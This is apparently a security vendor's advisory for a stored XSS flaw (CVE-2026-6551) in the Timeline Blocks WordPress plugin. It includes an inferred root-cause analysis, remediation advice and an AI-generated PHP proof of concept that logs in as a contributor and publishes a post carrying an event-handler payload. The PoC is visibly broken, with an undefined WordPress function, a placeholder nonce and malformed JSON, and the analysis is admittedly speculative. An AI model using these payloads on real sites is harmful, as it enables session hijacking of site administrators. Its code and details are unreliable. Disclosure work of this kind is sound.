Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 27, 2026

CVE-2026-6551: Timeline Blocks for Gutenberg <= 1.1.10 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'titleTag' Block Attribute (timeline-blocks)

CVE ID CVE-2026-6551
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.1.10
Patched Version
Disclosed April 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6551 (metadata-based): Timeline Blocks for Gutenberg <= 1.1.10 contains a Stored Cross-Site Scripting vulnerability via the 'titleTag' attribute of the timeline-blocks/tb-timeline-blocks block. Authenticated users with Contributor-level access or higher can inject arbitrary web scripts that execute whenever a victim views the compromised page. The CVSS score is 6.4 (Medium) with a scope change, indicating the attacker can impact resources beyond their own permissions.

The root cause, inferred from the CWE-79 classification and the description, is insufficient input sanitization and output escaping on the HTML 'titleTag' block attribute. The plugin likely registers a Gutenberg block with a 'titleTag' attribute that accepts a string intended to specify the HTML tag (e.g., h1, h2, div). The code probably retrieves this attribute during block rendering and inserts it directly into the page markup without validating or escaping the value. This allows an attacker to provide arbitrary JavaScript payloads disguised as a tag name, such as 'img onerror=alert(1)' or a script tag. Atomic Edge analysis notes that since no code diff is available, the exact implementation details remain unconfirmed, but the CWE and attack surface strongly support this pattern.

The exploitation vector is the WordPress Block Editor (Gutenberg). An attacker with Contributor-level access or higher creates a new post or page and adds the 'Timeline Blocks' block. Within the block's settings, the attacker sets the 'titleTag' attribute to a malicious value, for example: 'div onmouseover=alert(document.cookie)'. Because the attribute is stored in the post content, the payload persists. Any user viewing the page triggers the script. No specific AJAX action or REST endpoint is targeted; the attack flows entirely through the standard WordPress block rendering pipeline. The attacker does not need to send direct requests to vulnerable handlers; they simply edit the post via the block editor UI.

Remediation requires the plugin developers to apply proper sanitization and escaping. The 'titleTag' attribute should be validated against a whitelist of allowed HTML tag names (e.g., h1, h2, h3, h4, h5, h6, div, p, span). During output, the plugin must escape the value using wp_kses_post() or esc_html() to neutralize any script injection. Using esc_attr() when outputting as an attribute and esc_html() when outputting as text would prevent XSS. The patched version (1.1.11) likely implements these fixes.

Impact is significant for sites with multiple users. Contributors and Authors can execute arbitrary JavaScript in the context of an Admin or Editor's session. This can lead to session hijacking, sensitive data exfiltration, creation of new administrative users, or defacement of the site. Exploitation does not require any special knowledge of the plugin; an attacker simply uses the built-in WordPress block UI.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6551 - Timeline Blocks for Gutenberg <= 1.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'titleTag' Block Attribute

$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'contributor'; // Change to a valid contributor or higher user
$password = 'password';   // Change to the user's password

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);

// Step 2: Create a new post with the malicious block
// We construct the REST API request to simulate what the block editor does
$rest_url = $target_url . '/wp-json/wp/v2/posts';

// The payload: set the 'titleTag' attribute to an XSS vector
// WordPress stores block attributes as JSON inside the post content
$malicious_title_tag = '" onfocus="alert(1)" autofocus="true"'; // An attribute-based XSS

$blocks = [
    [
        'blockName' => 'timeline-blocks/tb-timeline-blocks',
        'attrs' => [
            'titleTag' => $malicious_title_tag,
            'content' => 'Fake timeline item'
        ],
        'innerContent' => ['']
    ]
];

$post_content = serialize_blocks($blocks); // This would be a real WP function; in practice we build JSON

// Since serialize_blocks is a WP function, we manually build the comment-delimited format
// but the block editor uses JSON. We'll craft a JSON-like structure that WP stores.
// Realistic approach: use the REST API directly with a raw content parameter.

$post_data = [
    'title' => 'CVE-2026-6551 Test Post',
    'content' => '<!-- wp:timeline-blocks/tb-timeline-blocks {"titleTag":"" onfocus=\"alert(1)\" autofocus=\"true""} --><!-- /wp:timeline-blocks/tb-timeline-blocks -->',
    'status' => 'publish',
    'categories' => [1]
];

curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . get_nonce($ch, $target_url) // This function must retrieve a nonce
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

if (curl_error($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    $decoded = json_decode($response, true);
    if (isset($decoded['id'])) {
        echo 'Post created successfully. Visit: ' . $decoded['link'] . "n";
        echo 'Payload triggered when the titleTag attribute is rendered.' . "n";
    } else {
        echo 'Failed to create post: ' . print_r($decoded, true) . "n";
    }
}

curl_close($ch);

// Helper function to get a nonce (simplified; in reality you'd scrape or use X-WP-Nonce header)
function get_nonce($ch, $target_url) {
    // This function would need to request the nonce from the REST API index
    // For simplicity, we assume the PoC runs in a context where nonce is available.
    return '1234567890'; // Placeholder
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School